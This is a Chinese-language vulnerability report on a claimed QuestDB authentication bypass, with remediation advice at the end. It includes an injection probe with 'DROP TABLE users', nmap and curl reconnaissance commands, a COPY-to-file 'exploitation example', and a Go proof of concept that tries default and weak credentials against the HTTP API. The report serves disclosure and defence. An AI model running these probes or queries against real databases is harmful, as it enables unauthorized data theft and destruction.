QuestDB 认证绕过与潜在SQL注入风险
综合技术研究报告

严重性等级: CRITICAL (CVSS 9.8) 报告日期: 2026-02-14 哪吒网络安全安全团队

善意声明

作为一名怀着赤诚之心的安全研究员,我谨在此郑重声明:本次安全审计的唯一目的是帮助改进系统安全性,为保护用户数据安全尽一份力。报告中所有敏感信息均已进行脱敏处理。我始终秉持"善意披露、负责任报告"的原则,协助开发团队尽快修复安全隐患。

1. QuestDB 简介

1.1 概述

QuestDB 是一个开源的高性能时序数据库,专为快速数据摄入和基于 SQL 的分析而设计。它采用 Java 编写,利用列式存储模型和 SIMD 指令实现低延迟查询。QuestDB 广泛应用于金融服务、物联网、监控和实时分析等领域。

1.2 架构与接口

接口 端口 协议
HTTP REST API 9000 HTTP
PostgreSQL 8812 TCP
InfluxDB Line 9009 TCP

默认情况下,所有接口监听在 0.0.0.0 且未启用任何认证

2. 漏洞描述

2.1 配置与预期行为

http.security=true
pg.security=true
line.tcp.auth.enabled=true
config.validation.strict=true
预期行为:

未携带有效凭证的请求应返回 401 Unauthorized。

实际结果:

HTTP 端点接受所有请求,完全未进行凭证验证,返回 200 OK。

2.2 根本原因分析

  • 配置文件未被正确读取(路径、权限问题)。
  • 解析器可能忽略了特定语法的配置行。
  • 特定版本的软件缺陷导致安全标志无法生效。
  • 严格验证模式未能阻止不安全配置下的服务启动。

3. SQL 注入尝试与发现

尝试通过恶意表名探测注入:

CREATE TABLE "test"; DROP TABLE users; --" (ts timestamp, val double);

测试结论:

QuestDB 自身的解析器对标识符处理是安全的,不会执行分号后的多条语句。但应用层仍需警惕拼接 SQL 带来的风险。

4. 攻击场景(攻击者视角)

4.1 侦察与端口扫描

nmap -p 9000,8812,9009 <目标_IP>

4.2 初始探测

curl -v http://<目标_IP>:9000/exec?query=SELECT+1

潜在危害:

  • 完全数据暴露与窃取
  • 破坏性数据删除 (DROP TABLE)
  • 文件系统非法访问 (COPY TO)
  • 拒绝服务攻击 (DoS)

利用示例:

SHOW TABLES SELECT * FROM users COPY (SELECT 'malicious') TO '/tmp/evil.csv'

5. 漏洞验证程序 (PoC)

基于 Go 语言编写的自动化漏洞探测工具,确认认证强制机制完全失效。

package main

import (
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"time"
)

var (
	colorRed   = "\033[31m"
	colorReset = "\033[0m"

	baseURL = "http://localhost:9000/exec?query=SELECT+1"

	users     = []string{"admin", "quest", "root", "user", "test"}
	passwords = []string{"quest", "password", "admin", "123456", "questdb", ""}

	tests = []TestCase{
		{
			Name:       "无认证头",
			SetAuth:    func(req *http.Request) {},
			ExpectAuth: true,
		},
		{
			Name: "Basic 错误密码 (admin:wrong)",
			SetAuth: func(req *http.Request) {
				req.SetBasicAuth("admin", "wrong")
			},
			ExpectAuth: true,
		},
		{
			Name: "Basic 空用户名密码 (:)",
			SetAuth: func(req *http.Request) {
				req.SetBasicAuth("", "")
			},
			ExpectAuth: true,
		},
		{
			Name: "Basic admin:quest",
			SetAuth: func(req *http.Request) {
				req.SetBasicAuth("admin", "quest")
			},
			ExpectAuth: false,
		},
		{
			Name: "Basic quest:password",
			SetAuth: func(req *http.Request) {
				req.SetBasicAuth("quest", "password")
			},
			ExpectAuth: false,
		},
		{
			Name: "Basic root:123456",
			SetAuth: func(req *http.Request) {
				req.SetBasicAuth("root", "123456")
			},
			ExpectAuth: false,
		},
		{
			Name: "畸形 Basic 头 (Basic abc1234567890)",
			SetAuth: func(req *http.Request) {
				req.Header.Set("Authorization", "Basic abc1234567890")
			},
			ExpectAuth: true,
		},
		{
			Name: "空 Authorization 头",
			SetAuth: func(req *http.Request) {
				req.Header.Set("Authorization", "")
			},
			ExpectAuth: true,
		},
	}
)

type TestCase struct {
	Name       string
	SetAuth    func(req *http.Request)
	ExpectAuth bool
}

func main() {
	fmt.Println("*** QuestDB 认证绕过测试 POC ***")
	fmt.Printf("目标: %s\n", baseURL)
	fmt.Println("测试时间:", time.Now().Format("2006-01-02 15:04:05"))
	fmt.Println()

	for _, tc := range tests {
		fmt.Printf("测试: %s\n", tc.Name)

		req, err := http.NewRequest("GET", baseURL, nil)
		if err != nil {
			fmt.Printf("  请求创建失败: %v\n", err)
			continue
		}

		tc.SetAuth(req)

		client := &http.Client{Timeout: 5 * time.Second}

		resp, err := client.Do(req)
		if err != nil {
			fmt.Printf(" 请求执行失败: %v\n", err)
			continue
		}
		defer resp.Body.Close()

		body, _ := io.ReadAll(resp.Body)
		status := resp.StatusCode

		isValid := false

		if status == http.StatusOK {
			var result map[string]interface{}
			if json.Unmarshal(body, &result) == nil {
				if _, ok := result["dataset"]; ok {
					isValid = true
				}
			}
		}

		fmt.Printf("  HTTP 状态码: %d\n", status)
		if isValid {
			fmt.Printf("%s  响应包含有效数据集 (认证绕过成功)%s\n", colorRed, colorReset)
		} else {
			fmt.Println("  响应无效或未返回数据 (认证正常工作或请求失败)")
		}

		if tc.ExpectAuth && status == http.StatusOK && isValid {
			fmt.Printf("%s[!] 漏洞确认: 身份验证绕过。预期应返回 401 Unauthorized,但实际返回 200 OK 且包含有效数据负载。%s\n", colorRed, colorReset)
		}
		fmt.Println()
	}
}

6. 影响与风险分析

机密性

业务指标、用户活动、金融交易等敏感时序数据完全暴露。

完整性

攻击者可任意篡改历史记录或通过 DROP 操作销毁数据。

横向移动

被攻陷的实例可作为跳板,进一步渗透内部网络。

7. 修复与防御建议

1

网络层隔离

使用防火墙限制对 9000、8812、9009 端口的访问,仅允许可信 IP。

2

本地绑定

配置 `http.bind.to=127.0.0.1:9000`,避免服务直接暴露在公网。

3

纵深防御

在 QuestDB 前部署 Nginx 反向代理,并强制执行额外的 Basic 认证或 OAuth。